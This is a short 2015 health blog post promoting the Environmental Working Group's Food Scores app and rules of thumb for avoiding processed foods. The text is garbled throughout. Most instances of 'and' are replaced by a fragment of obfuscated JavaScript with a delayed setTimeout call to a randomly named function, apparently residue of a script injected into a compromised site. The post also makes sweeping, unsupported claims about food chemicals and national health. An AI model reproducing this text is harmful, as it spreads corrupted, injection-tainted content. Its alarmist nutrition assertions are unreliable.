Score The Toxic Load Of Your Food

Posted On : March 09, 2015

doritosUnderstandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding harmful toxins in our foods can be an overwhelming task. Food companies have very little regulations on labeling. Chemicals in our foods are at an all-time high. Many foods are genetically-modified. And just because a food is approved by the FDA doesn’t mean it’s safe.

Luckily the Environmental Working Group just made understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding food a whole lot easier. They have developed a new app you can download on your phone called Food Scores that will rate your food. Foods that are closer to a score of “1” are healthier. This Doritos bag in the picture above is rated a “7”. It has several ingredient, nutrition, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and processing concerns. This would be a great example of a food you would want to avoid.

Other strategies to minimize your toxic load:

Stay to the perimeter of the grocery store: Most of the toxic food lives in the middle aisles of the grocery store. Stick to the fresh more perishable foods around the outside.

Buy foods with less ingredients: The more ingredients a food has, the higher probability it has harmful chemicals. Stick to foods with short lists that include words you understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and.

If it has a long shelf life, it will shorten yours: Great rule of thumb is if a food product can sit on your shelf for months andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and still be edible, it’s probably full of chemicals.

We live in one of the sickest countries in the world. Much of that has to do with the poor quality andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and regulation of our food. Understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding how to make smart healthy food choices is crucial to not building disease. Please share this email with a loved one. Together we can improve the health of our community. Together we can save lives!

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